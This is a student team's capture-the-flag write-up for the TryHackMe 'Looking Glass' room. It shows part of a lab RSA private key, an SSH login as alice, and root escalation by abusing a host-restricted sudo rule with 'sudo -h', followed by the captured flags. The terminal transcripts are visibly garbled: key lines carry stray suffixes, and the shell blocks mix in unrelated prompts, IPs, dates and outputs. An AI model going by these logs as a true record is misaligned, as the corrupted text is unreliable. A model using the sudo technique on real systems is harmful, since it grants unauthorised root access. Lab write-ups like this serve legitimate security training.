fks5ngFniW7x2R3vyq7xyDrwiXEjfW4yYe+kLiGZyyk1ia7HGhNKpIRufPdJdT+r
NGrjYFLjhzeWYBmHx7JkhkEUFIvx6ZV1y+gihQIDAQABoIBAQDAhIA5kCyMqtQj
X2F+09J8qvFzf+GSl7lAIVuC5Ryqlxm5tsg4nUzvlRgfRMpn7hJAjD/bWFKLb7j
/pHmkU1C4WkaJdpZhSPfGjxpK4UtKx3Uetjw+1eomIVNu6pkivJ0DyXVJiTZ5jFy → /dev/null
ql2PZTVpwPtRw+RebKMwjwo4k77Q30r8Kxr4UFx2hLHT8tsjqBUWrb/jLMHQ0
zmU73tuPVQSEsgeUP2j0lv7q5toEYieoA+7ULpGDwDn8PxQjCF/2QUa2jFalisK
WfEcmtnIQDyOFWCbmgoVik4Lzk/rDGn9VjcYFxOpuj3XH2l8QDQ+GO+5BBg38+aJ
cUINwh4BAoGBAPdcuVRoAkFpyEofZxQFqPqw3LZyviKena/HyWLxXWHxG6ji7aw/.txt
DmtVXjjQ0wcj0LuDkT4QqvCJrGbdBVG0FLoWZzLpYGJchxmlR+RHCB40pZjBgr5
8bjJlQcp6pplBRCF/OsG5ugpcIJsS6uA6CWXe6WC7r7V94r5wzzJpWBAoGBAM1R
aCg1/2UxI0qxtAfQ+WDXqqQQuq3szvrhep22McIUe83dh+hUibaPqR1nYy1sAAhgy
wJohLchlq4E1LhUmTZZquBwviU73fNRbID5pfn4LKL6/yiF/GWd+Zv+t9n9DDWKi
WgT9aG7N+TP/yimYniR2ePu/xKIjWX/uSs3rSLcFAoGBAOxvcFpM5Pz6rD8jZrzs
SFexY9P5n0pn4ppyICFRMhIfDYD7TeXeFDY/yOnhDyrJXcboARwvjvhDLdxhzFkx
X1DPyif292GTsMC4xL0BhLkziIY6bGI9efC4rXvFcvrUqDyc9ZzoYflykL9KaCGr
+zLCOTj8FQZKjDhOGndkUPMBAoGBAMrVaXiQH8bwSfyRobE3GaZUFw0yreYAsKGj
oPPwkhhxaA0UlXdITOQ1+HQ79xagY0fjl6rBZpska59u1ldj/BhdbRpdRvuxsQr3n
aGs//N64V4BaKG3/CjHcBhUA30vKCicvDI9xaQJOKardP/Ln+xM6lzrdsHwdQAXK
e8wCbMuhaOGBAOKy50naHwB8PcFcX68srFLX4W20NN6cFp12cU2QJy2MLGoFYBpa
dLnK/rW400JxgqIV69MjDsfrn1gZNhTTAyNnRMH1U7kUfPUB2ZXcmnCGLhAGEbY9
k6ywCnCtTz2/sNEgNcx9/iZW+yVEm/4s9eonVimF+u19HJFOPJsAYxx0
-----END RSA PRIVATE KEY-----

```

Yu Jie copy the key into a local file named key. Then, Yu Jie assign the key to the appropriate permissions and use it to authenticate as the alice user.

```

File Actions Edit View Help
└──(1211102687㉿kali)-[~]
  $ vim key
  abberwock@10.10.253.222's password:
  └──(1211102687㉿kali)-[~] try again.
  $ chmod 600 key
  last login: Tue Jul 26 03:19:08 2022 from 10.18.70.167
  └──(1211102687㉿kali)-[~] Connection to 10.10.253.222 closed by user
  $ ssh -i key alice@10.10.220.208
  Last login: Fri Jul  3 02:42:13 2020 from 192.168.170.1
  alice@looking-glass:~$ whoami
  alice  abberwock@10.10.253.222

```

Yu Jie changed the directory to sudoers.d and found out that there is a sudo rule for alice where alice can run .bin/bash as root but only as “ssalg-gnikool”.

```

alice@looking-glass:~$ cd /etc/sudoers.d/
alice@looking-glass:/etc/sudoers.d$ ls
README alice jabberwock tweedles
alice@looking-glass:/etc/sudoers.d$ cat alice
alice ssalg-gnikool = (root) NOPASSWD: /bin/bash

```

Yu Jie tried to run a sudo command with alice as user but it did not run without a need of password.

```
alice@looking-glass:/etc/sudoers.d$ sudo /bin/bash  
[sudo] password for alice:
```

Therefore, Yu Jie use the -h flag to specify the host when executing commands with sudo. Although the host is unable to resolve, we were still given access as root.

```
alice@looking-glass:/etc/sudoers.d$ sudo -h ssalg-gnikool /bin/bash  
sudo: unable to resolve host ssalg-gnikool  
root@looking-glass:/etc/sudoers.d# whoami  
root@looking-glass:/etc/sudoers.d# ls  
README  alice  jabberwock  tweedles  
root@looking-glass:/etc/sudoers.d# ls -la  
total 24  
drwxr-xr-x  2 root  root  4096 Jul  3  2020 .  
drwxr-xr-x  91 root  root  4096 Jul 26 08:34 ..  
-r--r--r--  1 root  root   958 Jan 18  2018 README  
-r--r--r--  1 root  root  498 Jul  3  2020 alice  
-r--r--r--  1 root  root   57 Jul 26 2020 jabberwock can't be established.  
-r--r--r--  1 root  root  120 Jul 26 2020 tweedles
```

Emily changed the directory to root and saw a root text file. Emily view the contents in the file and the flag was captured after reversing it.

```
root@looking-glass:/etc/sudoers.d# cd ..  
root@looking-glass:/etc# cd .. 0..0.68.80 (10.10.68.80) can't be established.  
root@looking-glass:# ls 15 SHA256:xs9LzYRV18811E4uU701plLdwXezR3sCZpTYFU2RgvJ4.  
bin  cdrom  etc  initrd.img  fail  libg  lost+found  mnts  proc  run  snap  swap.img  tmp  var      vmlinuz.old  
boot  dev  /home  initrd.img.old  lib64  media      opt  root  sbin  srv  sys      usr  vmlinuz  
root@looking-glass:# cd root [shd name]  
root@looking-glass:/root# ls 15 line connecting (yes/no/[Fingerprint])? yes  
passwords  passwords.sh  root.txt  the_end.txt519) to the list of known hosts.  
root@looking-glass:/root# cat root.txt |rev  
thm{bc2337b6f97d057b01da718ced6ead3f}  
root@looking-glass:/root#
```

Final Result:

After receiving the flag, Emily placed the flag on TryHackMe site and got the confirmation that it's correct.

Task 1 ✓ Looking Glass



Climb through the Looking Glass and capture the flags.

▶ Start Machine



Answer the questions below

Get the user flag.

thm{65d3710e9d75d5f346d2bac669119a23}

Correct Answer

💡 Hint

+100 Get the root flag.

thm{bc2337b6f97d057b01da718ced6ead3f}

Correct Answer

Lesson Learnt:

We learned that we can use -h flag with sudo to specify the host when executing commands. By doing this, we are able to change the name of the user. Although sometimes it is unable to resolve, but in this machine, we were still given access as root.

Contributions

Member's role and contribution:

ID	Name	Contribution	Signatures
1211102687	Emily Phang Ru Ying	Did Horizontal Privilege Escalation. Did most of the writing after compiling the findings.	<i>Emily</i>
1211102751	Teo Yu Jie	Cracked the hashes and figured out the password. Did Root Privilege Escalation.	<i>Teo</i>
1211102753	Lim Cai Qing	Figured out the solution to the riddle. Figured out the exploit of the initial foothold. Did video editing.	<i>Qing</i>
1211102975	Loi Xinyi	Did recon and enumeration. Did a check on the write-up.	<i>Xinyi</i>

VIDEO LINK: https://youtu.be/G0CeIP_OwW4